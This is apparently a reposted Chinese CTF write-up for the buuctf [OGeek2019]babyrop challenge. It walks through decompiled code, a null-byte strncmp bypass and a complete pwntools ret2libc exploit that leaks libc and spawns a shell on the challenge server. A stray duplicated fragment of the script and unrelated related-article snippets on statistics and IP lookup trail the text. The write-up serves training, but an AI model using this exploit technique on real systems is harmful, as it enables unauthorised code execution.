ret2libc实战

article/2025/10/14 12:27:15

title: ret2libc实战
date: 2021-05-13 22:00:00
tags:

  • binary security
  • study report
  • ret2libc
    comments: true
    categories:
  • ctf
  • pwn

ret2libc是一个pwner必备的基础知识。

ret2libcreturn to libc的缩写,我们需要执行libc函数里面的system("/bin/sh")

下面为32位程序并且带.so文件的题目:buuctf[OGeek2019]babyrop

[OGeek2019]babyrop

下载两个文件先丢进IDA里面

首先是pwn.elf

shift+F12查看字符串,看到比较有用的就是那个Correct\n但是这个不是逆向题,不用从结果分析,所以这个也是没什么用的,只能等会分析没有看到这个的时候再去整这个。然后也没有看到/bin/sh字符串,那么我们就先放弃字符串入手了。

查看main的伪C代码,得到

int __cdecl main()
{int buf; // [esp+4h] [ebp-14h] BYREFchar v2; // [esp+Bh] [ebp-Dh]int fd; // [esp+Ch] [ebp-Ch]sub_80486BB();fd = open("/dev/urandom", 0);if ( fd > 0 )read(fd, &buf, 4u);v2 = sub_804871F(buf);sub_80487D0(v2);return 0;
}

首先给你虚晃一枪,自己获得一个我们不知道的数,如果大于0才执行read(fd,&buf,4u);而我们都知道,read()函数第一个参数必须为0才能让我们输入内容,那么这一段代码直接抛弃,它注定啥也干不了。然后执行了一个函数,跟进去看

int __cdecl sub_804871F(int a1)
{size_t v1; // eaxchar s[32]; // [esp+Ch] [ebp-4Ch] BYREFchar buf[32]; // [esp+2Ch] [ebp-2Ch] BYREFssize_t v5; // [esp+4Ch] [ebp-Ch]memset(s, 0, sizeof(s));memset(buf, 0, sizeof(buf));sprintf(s, "%ld", a1);v5 = read(0, buf, 0x20u);buf[v5 - 1] = 0;v1 = strlen(buf);if ( strncmp(buf, s, v1) )exit(0);write(1, "Correct\n", 8u);return (unsigned __int8)buf[7];
}

因为前面传入的buf指针我们并不可以输入任何值,又是局部变量,所以它的值也是不确定的,然后下面比较要求buf==s字符串,而这个smain()buf,这个函数的buf是我们可以决定的。但是可惜它用的是strncmp指定长度比较字符串,而长度是从这个函数的buf里面算到的,那么我们就可以把字符串第一位置为\x00以躲过检测,然后返回了buf[7],那么这里我们就知道应该输入\x00开始的字符串,至于后面还得看它这个返回值干了啥,返回main()函数发现返回值为下一个函数的参数,而下一个函数

ssize_t __cdecl sub_80487D0(char a1)
{ssize_t result; // eaxchar buf[231]; // [esp+11h] [ebp-E7h] BYREFif ( a1 == 127 )result = read(0, buf, 200u);elseresult = read(0, buf, a1);return result;
}

很明显我们要在这里溢出了,但是缓冲区大小有足足231,而第一个选项不足以让我们溢出,所以我们如果把参数设为\xff那么就能输入255长度的字符串足以让我们溢出。所以前面的一个payload就可以这么构造

payload1=b'\x00'*7+'\xff'

但是找到了溢出点还不够,我们还没获取system()函数的地址,在plt表上也没有这个函数,所以我们打开.so文件,找到system()函数和/bin/sh字符串。注意我们反汇编的是libc文件,所以system()函数不跟平时一样在plt表,而是直接写在了代码段上面。

buuctf _OGeek2019_babyrop_1.png

buuctf _OGeek2019_babyrop_2.png

为什么有这一步呢?因为我在学习的过程中,发现libcsearcher不好用了,在python里面只能用ELF()函数去加载.so文件,但是无法search/bin/sh字符串所以就出现了这一步,然后我们需要执行两次这个main()函数,因为第一次溢出你只能泄露libc的地址。然后我来回答一下为什么不直接再次执行那个溢出的函数,因为我们要传参大于0xe7+0x10才可以溢出,而构造的payload链又比较麻烦,重新溢出最好挑那些没有参数或者参数对我们影响不大的去重新执行。第二次还好说,直接把system()地址和/bin/shpayload传进去就ok。

第一次溢出泄露libc的地址

挑选能输出的函数write()puts()都行,但是write()传参比较多,所以我就用write(),怕万一遇到没有puts()就不会了,所以多会点总是好的,比赛你当然怎么简单怎么来。write()要传的参数第一个传0,第二个传要泄露的libc函数的地址,第三个就是泄露的字节大小,32位程序四字节足矣,你泄露自己也行,我这里选了一个read()函数,道理都是一样的。那么第一次的payload就可以构造出来了

payload=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(0)+p32(read_got)+p32(4)

然后就是先去算libc的基址,反推出system()的地址。

libc.sym['read']会返回read()libc里面的偏移,泄露出read()的真实地址就可以算出libc的真实基址了。

read_addr=u32(p.recv(4))#拿到真实地址
libc_base=read_addr-libc.sym['read']#拿到真实基址
print('[+]read_addr: ',hex(read_addr))
print('[+]libc_base_addr: ',hex(libc_base))

调试测试一下。

buuctf _OGeek2019_babyrop_3.png

libc函数基本都是0xf7开头的,libc的基址是以三个0结尾的,所以我们这就得到了libc的真实地址。下面两步就把system()/bin/sh算出来就好了。

system_addr=libc_base+libc.sym['system']
bin_sh_addr=system_addr+0x11e6eb

因为好像并不能直接拿到这个偏移,但是可以在gdb里面调试得到system()相对/bin/sh的偏移,也可以前面IDA查看直接获取偏移,前面的那些地址就是我们所说的偏移,可以直接用,但是这里我们选择难一点的路线,就怕哪次给你直接断了那条简单路线,它不可能断你难的路线留一个简单的路线吧。

第二次溢出直接执行system("/bin/sh")

这个payload就是

payload=b'a'*0xe7+b'a'*0x4+p32(system_addr)+b'a'*4+p32(bin_sh_addr)

但是一定注意前面的payload1也要再send一次,不然执行不到这里的,我就这里卡了很久。

exp

from pwn import *#context.log_level='debug'
#p=process('./pwn')
p=remote('node3.buuoj.cn',xxx)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
payload1=b'\x00'*7+b'\xff'
p.sendline(payload1)
p.recvuntil(b'Correct\n')
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=0x8048825payload=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))libc_base=read_addr-libc.sym['read']
system_addr=libc_base+libc.sym['system']
bin_sh_addr=system_addr+0x11e6eb#print('[+]read_addr: ',hex(read_addr))
#print('[+]libc_base_addr: ',hex(libc_base))
#print('[+]system_addr: ',hex(system_addr))
#print('[+]bin_sh: ',hex(bin_sh_addr))p.sendline(payload1)#一定要再给一次
p.recvuntil('Correct\n')
payload=b'a'*0xe7+b'a'*0x4+p32(system_addr)+b'a'*4+p32(bin_sh_addr)
p.sendline(payload)p.interactive()

addr))

p.sendline(payload1)#一定要再给一次
p.recvuntil(‘Correct\n’)
payload=b’a’*0xe7+b’a’*0x4+p32(system_addr)+b’a’*4+p32(bin_sh_addr)
p.sendline(payload)

p.interactive()



http://chatgpt.dhexx.cn/article/Q93MVqAt.shtml

相关文章

WSL vhdx非root误删除libc.so.6

思路 由于不在root这种情况的特殊性,没有办法使用网上例如LDPRELOAD进行软连接。则使用linux挂载ext4格式的vhdx然后重新进行软链接 挂载vhdx wsl ubuntu 20.04的虚拟磁盘在windows下的这个目录,不同的发行版在package目录下的地址不一样 在Package目…

ret2libc

一、原理 payload padding1 address of system() padding2 address of “/bin/sh” Padding1 随意填充, 长度刚好覆盖基地址 长度与shellcode处的一样的方法 address of system() 是system在内存中的地址,用来覆盖返回地址 system()函数地址在哪里? 从动态库中获取,计…

libc

1. libc (1). libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。 libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。 正如ANSI C是C语言的标准一样,lib…

为什么要避免使用 libc

【CSDN 编者按】libc 是 Linux 下的标准 C 库&#xff0c;也是初学者写 hello world 包时含有的头文件 #include < stdio.h> 定义的地方&#xff0c;后来其逐渐被 glibc 给取代&#xff0c;本文作者列出了为什么要避免使用 libc 的 20 个理由。 作者 |Chris Wellons 译者…

统计学⑤——假设验证

统计学系列目录&#xff08;文末有大奖赠送&#xff09;&#xff1a; 统计学①——概率论基础及业务实战 统计学②——概率分布&#xff08;几何&#xff0c;二项&#xff0c;泊松&#xff0c;正态分布&#xff09; 统计学③——总体与样本 统计学④——置信区间 一、什么是假…

统计基础(四)假设检验

Hypothesis Testing 1.中心极限定理Central Limit Theorem1.1 X ˉ \bar{X} Xˉ的抽样分布1.2 p ^ \hat{p} p^​的抽样分布1.3 二项的正态逼近 2.假设检验概念2.1 零假设与备则假设2.2 如何制定决策规则 3.假设性检验步骤3.1假设检验框架3.2术语定义3.3 proportion test步骤3…

连续性概率

提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 欧拉常数连续型随机变数与概率密度函数正态分布标准正态分步检验t检验t假设 在我们将离散型数据的数值放大到无限&#xff0c;也就是讨论所谓的极限时&#xff0c; …

概率统计:离散分布和连续分布

1. 几种分布分类 (1) 离散分布&#xff1a;  伯努利分布&#xff08;零一分布&#xff0c;两点分布&#xff09;&#xff0c;二项分布&#xff0c;几何分布&#xff0c;泊松分布&#xff08;Poisson分布&#xff09; (2) 连续分布&#xff1a;  指数分布&#xff0c;正态分…

【概率论】随机试验、随机变量、离散型/连续型随机变量

1. 随机试验 满足以下3个条件的试验可以称为随机试验&#xff1a; 相同条件下可重复试验结果明确可知且不只一个试验前不知道哪个结果会发生 例如&#xff1a;我们平时做的抛硬币、掷骰子试验都是随机试验。以抛硬币试验为例&#xff1a;①该试验可以重复进行多次&#xff1…

连续型随机变量

连续型随机变量&#xff1a;continuous random variables 即在一定区间内变量取值有无限个&#xff0c;或数值无法一一列举出来 如下面的例子 概率密度函数&#xff08;probability density function, pdf&#xff09;: 在数学理论中&#xff0c;一个连续型随机变量的概率密度…

概率论基础 —— 3.离散型、连续型概率模型,及其概率密度与概率分布函数

在前面的文章里&#xff0c;已经带大伙了解了概率论的概率事件类型&#xff0c;以及针对某些事件的发生概率&#xff0c;以及针对全部场景的某事件的发生概率等基本知识。不过对于统计学专业来说&#xff0c;或者实际应用来说&#xff0c;接触最多的还是离散型和连续型概率&…

概率论的离散型随机变量和连续型随机变量

借鉴大佬的 下面附上网址 https://blog.csdn.net/ckk727/article/details/103435150 随机变量 随机变量是指变量的值无法预先确定仅以一定的可能性(概率)取值的量。 它是由于随机而获得的非确定值&#xff0c;是概率中的一个基本概念。 在经济活动中&#xff0c;随机变量是某…

计量经济学 联合假设检验 F统计量

考虑这样一个问题&#xff0c;现在你拥有1个被解释变量y和4个解释变量&#xff0c;如何判断x3,x4这2个变量是没有必要的&#xff1f; 或者换个说法&#xff0c;你现在有x1&#xff0c;x2这2个解释变量&#xff0c;突然你在寻找数据时&#xff0c;发现了另外2个变量x3&#xff0…

概率的性质——连续性

概率的连续性如下定义&#xff1a; 我们可以用韦恩图把他们表示出来&#xff0c;便于理解&#xff1a; 图1 对应性质&#xff08;1&#xff09; 图2 对应性质&#xff08;2&#xff09; 从图1中我们可以看出&#xff0c;集合单调不增&#xff0c;打个比方&#xff0c;此集合…

连续and离散系统的描述

系统的描述 系统的分类系统的框图表示系统的特性和分析方法时域离散系统 把最好的分享给大家&#xff0c;大家一起努力&#xff01; 系统的分类 连续系统与离散系统&#xff1a;输入和输出均为连续时间信号的系统称为连续时间系统&#xff1b;输入和输出均为离散时间信号的系统…

统计学:离散型和连续型随机变量的概率分布

主要随机变量一览表 随机变量概率分布均值方差一般离散型变量 p(x)的表、公式或者图 ∑xxp(x) ∑x(x−μ)2p(x) 二项分布 p(x)Cxnpxqn−x (x0,1,2,3⋅⋅⋅,n) np npq 泊松分布 p(x)λxe−λx! (x0,1,2,⋅⋅⋅) λ λ 超几何分布 p(x)CxrCn−xN−rCnN nrN r(N−r)n(N−n)N2(N−…

随机变量-离散-连续-假设检验方法

一组随机样本数据需要进行分析处理时&#xff0c;往往需要用到假设检验&#xff0c;对于离散变量discrete多用卡方检验&#xff0c;连续变量continuous用t检验或wilcoxon秩序和检验&#xff0c;具体的的使用场景如下 离散变量-卡方检验-适用条件 四格表&#xff1a; 所有的理…

常用的几种API获取ip地理位置的使用方法

最近公司让做一个用户登录、付费的时候记录操作人的地理位置。 搜了很多帖子&#xff0c;一开始用的淘宝的api&#xff0c;但是用了一段时间发现&#xff0c;这个api当获取的次数多了之后&#xff0c;就报404了&#xff0c;导致很多记录没有记录地址&#xff0c;虽然淘宝这个ap…

IP属地信息哪里来的?手把手教你实现通过IP查询属地信息

本文主要讲解IP查询属地信息的实现方法&#xff0c;以及基于Spring Boot实现IP属地信息查询项目。 〇、前言 近日&#xff0c;多个网络公众平台纷纷公开显示用户的IP属地&#xff0c;并且用户无法开启或关闭此功能。 用户的IP信息&#xff0c;平台是怎么知道的&#xff1f; …

php 精准定位到街道,ip地址查询精确到街道_ip查询详细地址带地图

ip地址查询精确的位置方法,我们知道,QQ能够查询到i地址对于的用户的位置,但是有时候因为运营商等原因导致 2.查询非移动网络3G/4G的IP地址;这是因为移动3G/4G网络下所使用的公网IP属于多人共用可以定位到街道级别。 IP定位工具(精准到.下载地址:http://pan.baidu.com/s/1o7…